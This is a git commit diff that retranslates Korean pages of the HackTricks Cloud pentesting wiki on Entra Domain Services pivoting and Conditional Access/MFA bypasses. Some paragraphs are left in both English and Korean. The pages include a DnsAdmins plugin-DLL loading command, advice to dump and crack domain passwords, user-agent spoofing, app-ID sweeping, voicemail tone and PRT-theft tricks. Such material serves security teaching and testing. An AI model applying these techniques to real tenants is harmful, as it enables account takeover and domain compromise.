mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-cloud/
This commit is contained in:
10
.github/pull_request_template.md
vendored
10
.github/pull_request_template.md
vendored
@@ -1,9 +1,11 @@
|
||||
## Attribution
|
||||
귀하의 지식을 소중히 여기며 콘텐츠 공유를 권장합니다. 귀하가 소유하거나 원저자로부터 공유할 권한이 있는 콘텐츠만 업로드하도록 하십시오(추가된 텍스트나 수정 중인 페이지의 끝에 저자에 대한 참조 추가). 지적 재산권에 대한 귀하의 존중은 모두를 위한 신뢰할 수 있고 합법적인 공유 환경을 조성합니다.
|
||||
PR을 보내기 전에 이 내용을 삭제하셔도 됩니다:
|
||||
|
||||
## 저작자 표기
|
||||
우리는 여러분의 지식을 소중히 여기며 콘텐츠 공유를 권장합니다. 업로드하는 콘텐츠는 반드시 여러분이 소유한 것이거나 원저작자로부터 공유 허가를 받은 것인지 확인해 주세요(추가한 텍스트에 저작자 참조를 추가하거나 수정 중인 페이지의 끝에 저작자 정보를 기재하거나 둘 다). 지적 재산권을 존중하는 태도는 모두가 신뢰할 수 있고 합법적인 공유 환경을 조성합니다.
|
||||
|
||||
## HackTricks Training
|
||||
[ARTE certification](https://training.hacktricks.xyz/courses/arte) 시험에서 3개 대신 2개의 플래그로 통과할 수 있도록 추가하는 경우, PR을 `arte-<username>`으로 호출해야 합니다.
|
||||
만약 PR을 보내는 목적이 [ARTE certification](https://hacktricks-training.com/courses/arte) 시험을 3개 플래그 대신 2개 플래그로 통과하기 위한 것이라면, 진행 중인 인증 과정에 따라 PR 이름을 `arte-<username>`, `grte-<username>` 또는 `azrte-<username>`로 지어야 합니다.
|
||||
|
||||
또한, 문법/구문 수정은 시험 플래그 감소를 위해 수락되지 않음을 기억하십시오.
|
||||
또한 문법/구문 수정만으로는 시험 플래그 감축이 인정되지 않는다는 점을 기억하세요.
|
||||
|
||||
어쨌든 HackTricks에 기여해 주셔서 감사합니다!
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
> [!TIP]
|
||||
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> AWS 해킹 학습 및 실습:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> GCP 해킹 학습 및 실습: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Az 해킹 학습 및 실습: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>HackTricks 지원하기</summary>
|
||||
>
|
||||
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
> - **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
> - [**구독 플랜**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||
> - **참여하세요** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) 또는 [**telegram group**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 팔로우하세요.
|
||||
> - **PR을 제출하여 해킹 트릭을 공유하세요**: [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
>
|
||||
> </details>
|
||||
|
||||
@@ -2,42 +2,51 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
## 도메인 서비스
|
||||
|
||||
Microsoft Entra Domain Services는 도메인 컨트롤러를 관리할 필요 없이 Azure에서 Active Directory를 배포할 수 있게 해줍니다 (실제로 도메인 컨트롤러에 대한 접근 권한도 없습니다).
|
||||
Microsoft Entra Domain Services는 Domain Controllers를 관리할 필요 없이 Azure에 Active Directory를 배포할 수 있게 해줍니다 (실제로 도메인 컨트롤러에 접근조차 할 수 없습니다).
|
||||
|
||||
주요 목표는 현대 인증 방법을 사용할 수 없는 레거시 애플리케이션을 클라우드에서 실행할 수 있도록 하거나, 디렉터리 조회가 항상 온프레미스 AD DS 환경으로 돌아가기를 원하지 않는 경우입니다.
|
||||
주된 목적은 모던 인증 방식을 사용할 수 없거나 디렉터리 조회가 항상 온프레미스 AD DS 환경으로 돌아가길 원하지 않는 레거시 애플리케이션을 클라우드에서 실행할 수 있게 하는 것입니다.
|
||||
|
||||
Entra ID에서 생성된 사용자(다른 Active Directory에서 동기화되지 않은 사용자)를 AD 도메인 서비스에 동기화하려면 **사용자의 비밀번호를 새 비밀번호로 변경해야** 합니다. 실제로 비밀번호가 변경되기 전까지 사용자는 Microsoft Entra ID에서 도메인 서비스로 동기화되지 않습니다.
|
||||
참고로 Entra ID에서 생성된(다른 Active Directory에서 동기화된 것이 아닌) 사용자를 AD 도메인 서비스로 동기화하려면 사용자의 **비밀번호를 새 값으로 변경**해야 새 AD와 동기화될 수 있다는 점을 유의하세요. 실제로 사용자는 비밀번호가 변경될 때까지 Microsoft Entra ID에서 Domain Services로 동기화되지 않습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 새 Active Directory 도메인을 생성하더라도 완전히 관리할 수는 없습니다 (일부 잘못된 구성을 이용하지 않는 한), 즉 기본적으로 AD에서 직접 사용자를 생성할 수 없습니다. 사용자는 **Entra ID에서 사용자를 동기화하여** 생성합니다. 모든 사용자(다른 온프레미스 AD에서 동기화된 사용자 포함), 클라우드 사용자(Entra ID에서 생성된 사용자) 또는 **더욱 필터링할 수 있습니다**.
|
||||
> 새 Active Directory 도메인을 생성하더라도(일부 오용 설정을 악용하지 않는 한) 완전히 관리할 수는 없다는 점에 유의하세요. 예를 들어 기본적으로 AD에 사용자를 직접 생성할 수 없습니다. 사용자는 **Entra ID에서 사용자 동기화**로 생성합니다. 모든 사용자(다른 온프레미스 AD에서 동기화된 사용자 포함), 클라우드 사용자(Entra ID에서 생성된 사용자)만, 또는 더 세분화하여 **필터링**하도록 지정할 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 일반적으로 새로운 도메인의 구성 유연성이 부족하고 AD가 보통 온프레미스에 이미 존재하기 때문에, 이는 Entra ID와 AD 간의 주요 통합은 아니지만, 이를 타협하는 방법을 아는 것은 여전히 흥미롭습니다.
|
||||
> 일반적으로 새 도메인의 구성 유연성이 부족하고 AD가 대개 이미 온프레미스에 존재한다는 점 때문에, 이는 Entra ID와 AD 간의 주요 통합 방식은 아니지만, 여전히 이를 침해하는 방법을 아는 것은 흥미롭습니다.
|
||||
|
||||
### Pivoting
|
||||
|
||||
생성된 **`AAD DC Administrators`** 그룹의 구성원은 관리 도메인에 도메인 가입된 VM에서 로컬 관리자 권한을 부여받습니다 (하지만 도메인 컨트롤러에서는 아닙니다) 왜냐하면 이들이 로컬 관리자 그룹에 추가되기 때문입니다. 이 그룹의 구성원은 **원격 데스크톱을 사용하여 도메인 가입된 VM에 원격으로 연결할 수** 있으며, 또한 다음 그룹의 구성원입니다:
|
||||
생성된 **`AAD DC Administrators`** 그룹의 구성원은 로컬 administrators 그룹에 추가되므로 (도메인 컨트롤러는 제외) 관리되는 도메인에 조인된 VM에서 로컬 관리자 권한을 부여받습니다. 이 그룹 구성원은 또한 **Remote Desktop을 사용해 도메인에 조인된 VM에 원격으로 연결**할 수 있으며, 다음 그룹들의 구성원이기도 합니다:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: 이 그룹은 RODC(읽기 전용 도메인 컨트롤러)에서 비밀번호를 캐시할 수 없는 사용자 및 그룹을 지정합니다.
|
||||
- **`Group Policy Creators Owners`**: 이 그룹은 구성원이 도메인에서 그룹 정책을 생성할 수 있게 해줍니다. 그러나 구성원은 사용자나 그룹에 그룹 정책을 적용하거나 기존 GPO를 편집할 수 없으므로 이 환경에서는 그리 흥미롭지 않습니다.
|
||||
- **`DnsAdmins`**: 이 그룹은 DNS 설정을 관리할 수 있게 해주며, 과거에 [권한 상승 및 도메인 타협을 위해 악용되었습니다](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), 그러나 이 환경에서 공격을 테스트한 결과 취약점이 패치된 것으로 확인되었습니다:
|
||||
- **`Denied RODC Password Replication Group`**: RODC(읽기 전용 도메인 컨트롤러)에 비밀번호를 캐시할 수 없는 사용자와 그룹을 지정하는 그룹입니다.
|
||||
- **`Group Policy Creators Owners`**: 이 그룹은 구성원이 도메인에서 Group Policies를 생성할 수 있게 합니다. 다만 구성원은 사용자나 그룹에 정책을 적용하거나 기존 GPO를 편집할 수 없으므로 이 환경에서는 크게 유용하지 않습니다.
|
||||
- **`DnsAdmins`**: 이 그룹은 DNS 설정을 관리할 수 있으며 과거 도메인을 권한 상승 및 침해하는 데 악용되었으나, 이 환경에서 공격을 테스트한 결과 취약점이 패치된 것으로 확인되었습니다:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
AD 내에서 이러한 권한을 부여하려면 **`AAD DC Administrators`** 그룹이 이전 그룹의 구성원으로 만들어지고, GPO **`AADDC Computers GPO`**가 도메인 그룹 **`AAD DC Administrators`**의 모든 구성원을 로컬 관리자에 추가합니다.
|
||||
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
|
||||
|
||||
Entra ID에서 Domain Services로 생성된 AD로의 피벗은 간단합니다. **`AAD DC Administrators`** 그룹에 사용자를 추가하고, 도메인의 모든 머신에 RDP로 접근하면 데이터를 훔치고 **도메인을 타협할 수 있습니다.**
|
||||
이 권한들을 부여하기 위해 AD 내부에서 그룹 **`AAD DC Administrators`**가 이전 그룹들의 멤버로 추가되며, 또한 GPO **`AADDC Computers GPO`**가 도메인 그룹 **`AAD DC Administrators`**의 모든 구성원을 Local Administrators로 추가합니다.
|
||||
|
||||
그러나 도메인에서 Entra ID로의 피벗은 쉽지 않습니다. 도메인에서 Entra ID로 동기화되는 것이 없기 때문입니다. 그러나 항상 메타데이터를 확인하여 할당된 관리 ID가 흥미로운 권한을 가질 수 있습니다. 또한 **도메인에서 모든 사용자 비밀번호를 덤프하고 이를 크랙하여 Entra ID / Azure에 로그인해 보십시오.**
|
||||
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
|
||||
|
||||
Entra ID에서 Domain Services로 생성된 AD로의 Pivoting은 간단합니다. 사용자 계정을 **`AAD DC Administrators`** 그룹에 추가한 다음 도메인 내의 아무(또는 모든) 머신에 RDP로 접속하면 데이터를 훔치고 또한 **compromise the domain.**
|
||||
|
||||
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
|
||||
|
||||
하지만 도메인에서 Entra ID로의 pivoting은 쉽지 않습니다. 도메인에서 Entra ID로 동기화되는 항목이 없기 때문입니다. 다만 항상 가입된 모든 VMs의 metadata를 확인하세요 — 할당된 managed identities가 흥미로운 권한을 가지고 있을 수 있습니다. 또한 **dump all the users passwords from the domain**하고 try to crack them 한 뒤 Entra ID / Azure에 login해 보세요.
|
||||
|
||||
> [!NOTE]
|
||||
> 과거에 이 관리 AD에서 DC를 타협할 수 있는 다른 취약점이 발견되었음을 유의하십시오, [이와 같은](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DC를 타협한 공격자는 Azure 관리자들이 알아차리거나 제거할 수 없도록 쉽게 지속성을 유지할 수 있습니다.
|
||||
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
|
||||
|
||||
> [!NOTE]
|
||||
> 과거 이 managed AD에서는 DCs를 compromise할 수 있게 하는 다른 취약점들이 발견된 적이 있습니다, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DC를 compromise한 공격자는 Azure admins가 알아차리거나 제거할 수 없더라도 매우 쉽게 persistence를 유지할 수 있습니다.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -59,7 +68,7 @@ az rest --method post \
|
||||
# Get domain configuration
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
|
||||
## e.g.
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
|
||||
|
||||
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 기본 정보
|
||||
|
||||
Azure Conditional Access 정책은 특정 **조건**에 따라 Azure 서비스 및 애플리케이션에 대한 액세스 제어를 시행하기 위해 Microsoft Azure에서 설정된 규칙입니다. 이러한 정책은 적절한 상황에서 올바른 액세스 제어를 적용하여 조직이 자원을 보호하는 데 도움을 줍니다.\
|
||||
Conditional access 정책은 기본적으로 **누가** **어디서** **무엇**에 접근할 수 있는지와 **어떻게** 접근할 수 있는지를 **정의**합니다.
|
||||
Azure Conditional Access policies는 Microsoft Azure에 설정된 규칙으로, 특정 **조건**에 따라 Azure 서비스와 애플리케이션에 대한 접근 제어를 적용합니다. 이 정책들은 적절한 상황에서 적절한 접근 제어를 적용함으로써 조직이 자원을 보호하는 데 도움을 줍니다.\
|
||||
Conditional access policies는 기본적으로 **누가**, **무엇을**, **어디서**, **어떻게** 접근할 수 있는지를 정의합니다.
|
||||
|
||||
여기 몇 가지 예가 있습니다:
|
||||
다음은 몇 가지 예시입니다:
|
||||
|
||||
1. **Sign-In Risk Policy**: 이 정책은 로그인 위험이 감지될 때 다단계 인증(MFA)을 요구하도록 설정될 수 있습니다. 예를 들어, 사용자의 로그인 행동이 정기적인 패턴과 비교하여 비정상적일 경우, 예를 들어 다른 국가에서 로그인하는 경우, 시스템은 추가 인증을 요청할 수 있습니다.
|
||||
2. **Device Compliance Policy**: 이 정책은 조직의 보안 기준을 준수하는 장치에만 Azure 서비스에 대한 액세스를 제한할 수 있습니다. 예를 들어, 최신 바이러스 백신 소프트웨어가 설치된 장치나 특정 운영 체제 버전을 실행하는 장치에서만 액세스가 허용될 수 있습니다.
|
||||
1. **Sign-In Risk Policy**: 이 정책은 sign-in risk가 감지되었을 때 multi-factor authentication (MFA)를 요구하도록 설정할 수 있습니다. 예를 들어, 사용자의 로그인 행동이 평소 패턴과 비교해 이상하거나 다른 나라에서 로그인하는 경우와 같이 시스템이 추가 인증을 요구할 수 있습니다.
|
||||
2. **Device Compliance Policy**: 이 정책은 조직의 보안 기준을 준수하는 디바이스에만 Azure 서비스에 대한 접근을 제한할 수 있습니다. 예를 들어, 최신 안티바이러스 소프트웨어가 설치되어 있거나 특정 운영체제 버전을 실행 중인 디바이스에서만 접근을 허용할 수 있습니다.
|
||||
|
||||
## Enumeration
|
||||
## 열거
|
||||
```bash
|
||||
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
|
||||
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
|
||||
@@ -22,77 +22,77 @@ az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditiona
|
||||
```
|
||||
## Conditional Acces Policies Bypasses
|
||||
|
||||
조건부 액세스 정책이 **우회할 수 있는 정보를 쉽게 조작하고 있는지 확인할 수 있습니다**. 예를 들어, 정책이 MFA를 구성하고 있다면 공격자는 이를 우회할 수 있습니다.
|
||||
조건부 액세스 정책이 **쉽게 조작할 수 있는 정보를 검사하여 정책 우회를 허용하는 경우**가 있습니다. 예를 들어 정책이 MFA를 구성하고 있다면, 공격자는 이를 우회할 수 있습니다.
|
||||
|
||||
조건부 액세스 정책을 구성할 때는 **영향을 받는 사용자**와 **대상 리소스**(모든 클라우드 앱과 같은)를 지정해야 합니다.
|
||||
조건부 액세스 정책을 구성할 때 영향을 받는 **users**와 **target resources**(예: 모든 cloud apps)를 지정해야 합니다.
|
||||
|
||||
정책을 **트리거**할 **조건**을 구성해야 합니다:
|
||||
또한 정책을 **발동(trigger)** 시킬 **conditions**를 구성해야 합니다:
|
||||
|
||||
- **네트워크**: IP, IP 범위 및 지리적 위치
|
||||
- VPN 또는 프록시를 사용하여 허용된 IP 주소에서 로그인하거나 국가에 연결하여 우회할 수 있습니다.
|
||||
- **Microsoft 위험**: 사용자 위험, 로그인 위험, 내부자 위험
|
||||
- **장치 플랫폼**: 모든 장치 또는 Android, iOS, Windows Phone, Windows, macOS, Linux 선택
|
||||
- “모든 장치”가 선택되지 않았지만 다른 모든 옵션이 선택된 경우, 해당 플랫폼과 관련 없는 임의의 사용자 에이전트를 사용하여 우회할 수 있습니다.
|
||||
- **클라이언트 앱**: 옵션은 “브라우저”, “모바일 앱 및 데스크톱 클라이언트”, “Exchange ActiveSync 클라이언트” 및 “기타 클라이언트”입니다.
|
||||
- 선택되지 않은 옵션으로 로그인 우회
|
||||
- **장치 필터**: 사용된 장치와 관련된 규칙을 생성할 수 있습니다.
|
||||
- **인증 흐름**: 옵션은 “장치 코드 흐름” 및 “인증 전송”입니다.
|
||||
- 이는 공격자가 피해자의 계정에 접근하기 위해 피싱 시도를 하는 경우가 아니라면 영향을 미치지 않습니다.
|
||||
- **Network**: IP, IP ranges 및 지리적 위치
|
||||
- 허용된 국가로 연결하기 위해 VPN 또는 Proxy를 사용하거나 허용된 IP 주소에서 로그인하는 방법을 찾아 우회할 수 있습니다
|
||||
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
|
||||
- **Device platforms**: Any device 또는 Android, iOS, Windows phone, Windows, macOS, Linux 선택
|
||||
- “Any device”가 선택되지 않았지만 나머지 옵션이 모두 선택된 경우, 해당 플랫폼과 관련 없는 임의의 user-agent를 사용해 우회할 수 있습니다
|
||||
- **Client apps**: 옵션은 “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” 및 “Other clients”
|
||||
- 선택되지 않은 옵션으로 로그인하여 우회 가능
|
||||
- **Filter for devices**: 사용 중인 기기와 관련된 규칙을 생성할 수 있습니다
|
||||
- **Authentication flows**: 옵션은 “Device code flow” 및 “Authentication transfer”
|
||||
- 공격자가 이러한 프로토콜을 피싱 시도 등으로 악용하려 하지 않는 한 공격자에게는 영향을 주지 않습니다
|
||||
|
||||
가능한 **결과**는: 차단 또는 액세스 허용, MFA 요구, 장치 준수와 같은 잠재적 조건이 있습니다…
|
||||
가능한 **결과**는: 차단(Block) 또는 조건부 액세스 허용(Grant) — 예: MFA 요구, 기기 준수 필요 등입니다.
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
|
||||
**장치 플랫폼**(Android, iOS, Windows, macOS...)에 기반한 조건을 설정할 수 있지만, 이는 **사용자 에이전트**에 기반하므로 우회하기 쉽습니다. 모든 옵션이 MFA를 강제하더라도, **인식되지 않는 사용자 에이전트**를 사용하면 MFA 또는 차단을 우회할 수 있습니다:
|
||||
**Device platform**(Android, iOS, Windows, macOS...)을 기반으로 조건을 설정할 수 있지만, 이는 **user-agent**에 기반하므로 우회하기 쉽습니다. 모든 옵션에 대해 MFA를 강제하더라도, **인식되지 않는 user-agent**를 사용하면 MFA나 차단을 우회할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
브라우저가 **알 수 없는 사용자 에이전트**를 보내도록 만드는 것만으로도 이 조건을 트리거하지 않게 할 수 있습니다.\
|
||||
개발자 도구에서 사용자 에이전트를 **수동으로** 변경할 수 있습니다:
|
||||
브라우저가 **알 수 없는 user-agent**(예: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)를 전송하도록 하면 이 조건이 발동하지 않습니다.\
|
||||
개발자 도구에서 user agent를 **수동으로** 변경할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
또는 [이와 같은 브라우저 확장 프로그램](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)을 사용할 수 있습니다.
|
||||
또는 [이와 같은 브라우저 확장 기능](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)을 사용할 수 있습니다.
|
||||
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
|
||||
조건부 정책에 설정된 경우, 공격자는 **허용된 국가**에서 **VPN**을 사용하거나 **허용된 IP 주소**에서 접근할 방법을 찾아 이러한 조건을 우회할 수 있습니다.
|
||||
조건부 정책에 위치가 설정되어 있다면, 공격자는 **허용된 국가**의 **VPN**을 사용하거나 **허용된 IP 주소**에서 액세스하는 방법을 찾아 이러한 조건을 우회할 수 있습니다.
|
||||
|
||||
### Cloud Apps
|
||||
|
||||
사용자가 **특정 앱**에 접근하려고 할 때 MFA를 차단하거나 강제하는 **조건부 액세스 정책을 구성할 수 있습니다**:
|
||||
특정 앱에 사용자가 접근할 때 예를 들어 MFA를 차단하거나 강제하도록 **conditional access policies**를 구성할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 보호를 우회하려면 **모든 애플리케이션에 로그인할 수 있는지** 확인해야 합니다.\
|
||||
도구 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)는 **하드코딩된 수십 개의 애플리케이션 ID**를 가지고 있으며, 이들에 로그인 시도하고 성공하면 토큰을 제공해 줍니다.
|
||||
이 보호를 우회하려면 **어떤 애플리케이션이든 로그인할 수 있는지** 확인해야 합니다.\
|
||||
도구 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)에는 **수십 개의 application IDs가 하드코딩**되어 있으며 이들에 대해 로그인을 시도하고 성공하면 토큰까지 알려줍니다.
|
||||
|
||||
특정 리소스에서 **특정 애플리케이션 ID를 테스트**하려면 다음과 같은 도구를 사용할 수 있습니다:
|
||||
특정 리소스의 특정 application IDs를 테스트하려면 다음과 같은 도구를 사용할 수도 있습니다:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
||||
또한 로그인 방법을 보호하는 것도 가능합니다(예: 브라우저 또는 데스크톱 애플리케이션에서 로그인하려고 할 때). 도구 [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)는 이러한 보호를 우회하려고 시도하는 몇 가지 검사를 수행합니다.
|
||||
또한 로그인 방법(예: 브라우저나 데스크톱 애플리케이션에서 로그인하려는 경우)을 보호할 수 있습니다. 도구 [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)는 이러한 보호를 우회하려 시도하기 위해 몇 가지 검사를 수행합니다.
|
||||
|
||||
도구 [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken)도 유사한 목적으로 사용될 수 있지만, 유지 관리가 되지 않는 것처럼 보입니다.
|
||||
도구 [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken)도 유사한 목적으로 사용될 수 있지만 유지보수가 되지 않는 것처럼 보입니다.
|
||||
|
||||
도구 [**ROPCI**](https://github.com/wunderwuzzi23/ropci)도 이러한 보호를 테스트하고 MFA 또는 차단을 우회할 수 있는지 확인하는 데 사용할 수 있지만, 이 도구는 **화이트박스** 관점에서 작동합니다. 먼저 테넌트에서 허용된 앱 목록을 다운로드한 다음, 해당 앱에 로그인하려고 시도합니다.
|
||||
도구 [**ROPCI**](https://github.com/wunderwuzzi23/ropci)도 이러한 보호를 테스트하고 MFA나 차단을 우회할 수 있는지 확인하는 데 사용할 수 있지만, 이 도구는 **whitebox** 관점에서 작동합니다. 먼저 tenant에서 허용된 Apps 목록을 다운로드한 다음 해당 앱들에 로그인을 시도합니다.
|
||||
|
||||
## 기타 Az MFA 우회
|
||||
## Other Az MFA Bypasses
|
||||
|
||||
### 링톤
|
||||
### Ring tone
|
||||
|
||||
Azure MFA 옵션 중 하나는 **구성된 전화번호로 전화를 받는 것**이며, 사용자에게 **문자 `#`을 전송하라는 요청을 받습니다**.
|
||||
One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> 문자들은 단지 **톤**일 뿐이므로, 공격자는 **전화번호의 음성 메일** 메시지를 **타협**하고, 메시지로 **`#`의 톤**을 설정한 다음, MFA 요청 시 **피해자의 전화가 통화 중**이 되도록 하여 Azure 전화를 음성 메일로 리디렉션할 수 있습니다.
|
||||
> 문자는 단순한 **음성 톤**이기 때문에, 공격자는 해당 전화번호의 **voicemail** 메시지를 **탈취**하여 메시지로 **`#`의 톤**을 설정할 수 있습니다. 그런 다음 MFA를 요청할 때 피해자의 전화가 통화 중이도록(전화 걸기) 만들어 Azure의 통화가 음성사서함으로 리다이렉트되게 할 수 있습니다.
|
||||
|
||||
### 준수 장치
|
||||
### Compliant Devices
|
||||
|
||||
정책은 종종 준수 장치 또는 MFA를 요구하므로, **공격자는 준수 장치를 등록하고**, **PRT** 토큰을 얻어 **이 방법으로 MFA를 우회할 수 있습니다**.
|
||||
Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**.
|
||||
|
||||
먼저 **Intune에 준수 장치를 등록한 다음**, **PRT를 얻습니다**:
|
||||
Start by registering a **compliant device in Intune**, then **get the PRT** with:
|
||||
```bash
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -102,7 +102,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
다음 페이지에서 이러한 종류의 공격에 대한 추가 정보를 찾으십시오:
|
||||
다음 페이지에서 이러한 유형의 공격에 대한 자세한 정보를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
@@ -112,29 +112,29 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
